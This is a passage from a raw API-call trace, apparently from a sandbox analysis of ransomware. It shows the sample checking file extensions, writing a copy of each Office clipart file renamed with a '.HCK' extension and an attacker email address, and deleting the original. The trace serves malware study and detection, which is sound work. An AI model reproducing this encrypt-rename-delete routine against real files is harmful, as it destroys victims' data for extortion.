lpOverlapped=0x0) returned 1 [0241.113] WriteFile (in: hFile=0x4c8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xb580, lpOverlapped=0x0) returned 1 [0241.114] ReadFile (in: hFile=0x340, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.114] WriteFile (in: hFile=0x4c8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0241.114] SetEndOfFile (hFile=0x4c8) returned 1 [0241.114] CloseHandle (hObject=0x4c8) returned 1 [0241.114] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.114] SetEndOfFile (hFile=0x340) returned 1 [0241.116] CloseHandle (hObject=0x340) returned 1 [0241.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg")) returned 1 [0241.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.118] lstrlenW (lpString=".doc") returned 4 [0241.118] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.118] lstrlenW (lpString=".docx") returned 5 [0241.118] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0241.118] lstrlenW (lpString=".pdf") returned 4 [0241.118] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.118] lstrlenW (lpString=".xls") returned 4 [0241.118] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.118] lstrlenW (lpString=".xlsx") returned 5 [0241.118] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0241.118] lstrlenW (lpString=".ppt") returned 4 [0241.118] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.118] lstrlenW (lpString=".zip") returned 4 [0241.118] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.118] lstrlenW (lpString=".rar") returned 4 [0241.118] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.118] lstrlenW (lpString=".bz2") returned 4 [0241.118] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.118] lstrlenW (lpString=".7z") returned 3 [0241.118] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.118] lstrlenW (lpString=".dbf") returned 4 [0241.118] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.118] lstrlenW (lpString=".1cd") returned 4 [0241.118] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.118] lstrlenW (lpString=".jpg") returned 4 [0241.118] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.118] lstrlenW (lpString=".doc") returned 4 [0241.118] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.118] lstrlenW (lpString=".docx") returned 5 [0241.118] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0241.118] lstrlenW (lpString=".pdf") returned 4 [0241.118] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.118] lstrlenW (lpString=".xls") returned 4 [0241.118] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.118] lstrlenW (lpString=".xlsx") returned 5 [0241.118] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0241.118] lstrlenW (lpString=".ppt") returned 4 [0241.118] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.118] lstrlenW (lpString=".zip") returned 4 [0241.118] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.118] lstrlenW (lpString=".rar") returned 4 [0241.119] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.119] lstrlenW (lpString=".bz2") returned 4 [0241.119] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.119] lstrlenW (lpString=".7z") returned 3 [0241.119] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.119] lstrlenW (lpString=".dbf") returned 4 [0241.119] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.119] lstrlenW (lpString=".1cd") returned 4 [0241.119] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG") returned 68 [0241.119] lstrlenW (lpString=".jpg") returned 4 [0241.119] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.119] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.119] lstrlenW (lpString="J0175428.JPG") returned 12 [0241.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.120] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=14552) returned 1 [0241.120] CloseHandle (hObject=0x340) returned 1 [0241.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg")) returned 0x220 [0241.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.121] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.121] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.122] GetLastError () returned 0x0 [0241.122] ReadFile (in: hFile=0x340, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x38d8, lpOverlapped=0x0) returned 1 [0241.123] WriteFile (in: hFile=0x4c8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x38e0, lpOverlapped=0x0) returned 1 [0241.124] ReadFile (in: hFile=0x340, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.124] WriteFile (in: hFile=0x4c8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0241.124] SetEndOfFile (hFile=0x4c8) returned 1 [0241.124] CloseHandle (hObject=0x4c8) returned 1 [0241.125] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.125] SetEndOfFile (hFile=0x340) returned 1 [0241.126] CloseHandle (hObject=0x340) returned 1 [0241.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg")) returned 1 [0241.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.128] lstrlenW (lpString=".doc") returned 4 [0241.128] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.128] lstrlenW (lpString=".docx") returned 5 [0241.128] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0241.128] lstrlenW (lpString=".pdf") returned 4 [0241.128] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.128] lstrlenW (lpString=".xls") returned 4 [0241.128] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.128] lstrlenW (lpString=".xlsx") returned 5 [0241.128] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0241.128] lstrlenW (lpString=".ppt") returned 4 [0241.128] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.128] lstrlenW (lpString=".zip") returned 4 [0241.128] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.128] lstrlenW (lpString=".rar") returned 4 [0241.128] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.128] lstrlenW (lpString=".bz2") returned 4 [0241.128] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.128] lstrlenW (lpString=".7z") returned 3 [0241.128] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.128] lstrlenW (lpString=".dbf") returned 4 [0241.128] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.128] lstrlenW (lpString=".1cd") returned 4 [0241.128] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.128] lstrlenW (lpString=".jpg") returned 4 [0241.128] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.128] lstrlenW (lpString=".doc") returned 4 [0241.128] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.128] lstrlenW (lpString=".docx") returned 5 [0241.129] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0241.129] lstrlenW (lpString=".pdf") returned 4 [0241.129] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.129] lstrlenW (lpString=".xls") returned 4 [0241.129] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.129] lstrlenW (lpString=".xlsx") returned 5 [0241.129] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0241.129] lstrlenW (lpString=".ppt") returned 4 [0241.129] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.129] lstrlenW (lpString=".zip") returned 4 [0241.129] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.129] lstrlenW (lpString=".rar") returned 4 [0241.129] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.129] lstrlenW (lpString=".bz2") returned 4 [0241.129] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.129] lstrlenW (lpString=".7z") returned 3 [0241.129] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.129] lstrlenW (lpString=".dbf") returned 4 [0241.129] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.129] lstrlenW (lpString=".1cd") returned 4 [0241.129] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0241.129] lstrlenW (lpString=".jpg") returned 4 [0241.129] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.129] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.129] lstrlenW (lpString="J0177257.JPG") returned 12 [0241.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.130] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=45358) returned 1 [0241.130] CloseHandle (hObject=0x340) returned 1 [0241.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg")) returned 0x220 [0241.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.131] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.131] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.132] GetLastError () returned 0x0 [0241.132] ReadFile (in: hFile=0x340, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xb12e, lpOverlapped=0x0) returned 1 [0241.134] WriteFile (in: hFile=0x4c8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xb130, lpOverlapped=0x0) returned 1 [0241.135] ReadFile (in: hFile=0x340, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.135] WriteFile (in: hFile=0x4c8, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0241.135] SetEndOfFile (hFile=0x4c8) returned 1 [0241.135] CloseHandle (hObject=0x4c8) returned 1 [0241.135] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.135] SetEndOfFile (hFile=0x340) returned 1 [0241.137] CloseHandle (hObject=0x340) returned 1 [0241.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg")) returned 1 [0241.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.468] lstrlenW (lpString=".doc") returned 4 [0241.468] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.468] lstrlenW (lpString=".docx") returned 5 [0241.468] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0241.468] lstrlenW (lpString=".pdf") returned 4 [0241.468] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.468] lstrlenW (lpString=".xls") returned 4 [0241.468] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.468] lstrlenW (lpString=".xlsx") returned 5 [0241.468] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0241.468] lstrlenW (lpString=".ppt") returned 4 [0241.468] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.468] lstrlenW (lpString=".zip") returned 4 [0241.468] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.468] lstrlenW (lpString=".rar") returned 4 [0241.468] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.468] lstrlenW (lpString=".bz2") returned 4 [0241.468] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.468] lstrlenW (lpString=".7z") returned 3 [0241.468] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.468] lstrlenW (lpString=".dbf") returned 4 [0241.468] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.468] lstrlenW (lpString=".1cd") returned 4 [0241.468] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.468] lstrlenW (lpString=".jpg") returned 4 [0241.468] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.468] lstrlenW (lpString=".doc") returned 4 [0241.468] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.468] lstrlenW (lpString=".docx") returned 5 [0241.468] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0241.469] lstrlenW (lpString=".pdf") returned 4 [0241.469] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.469] lstrlenW (lpString=".xls") returned 4 [0241.469] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.469] lstrlenW (lpString=".xlsx") returned 5 [0241.469] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0241.469] lstrlenW (lpString=".ppt") returned 4 [0241.469] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.469] lstrlenW (lpString=".zip") returned 4 [0241.469] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.469] lstrlenW (lpString=".rar") returned 4 [0241.469] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.469] lstrlenW (lpString=".bz2") returned 4 [0241.469] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.469] lstrlenW (lpString=".7z") returned 3 [0241.469] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.469] lstrlenW (lpString=".dbf") returned 4 [0241.469] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.469] lstrlenW (lpString=".1cd") returned 4 [0241.469] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0241.469] lstrlenW (lpString=".jpg") returned 4 [0241.469] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.469] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.469] lstrlenW (lpString="J0182888.WMF") returned 12 [0241.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.470] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=24392) returned 1 [0241.470] CloseHandle (hObject=0x54c) returned 1 [0241.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf")) returned 0x220 [0241.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.471] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.471] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0241.472] GetLastError () returned 0x0 [0241.472] ReadFile (in: hFile=0x54c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x5f48, lpOverlapped=0x0) returned 1 [0241.473] WriteFile (in: hFile=0x558, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x5f50, lpOverlapped=0x0) returned 1 [0241.474] ReadFile (in: hFile=0x54c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.474] WriteFile (in: hFile=0x558, 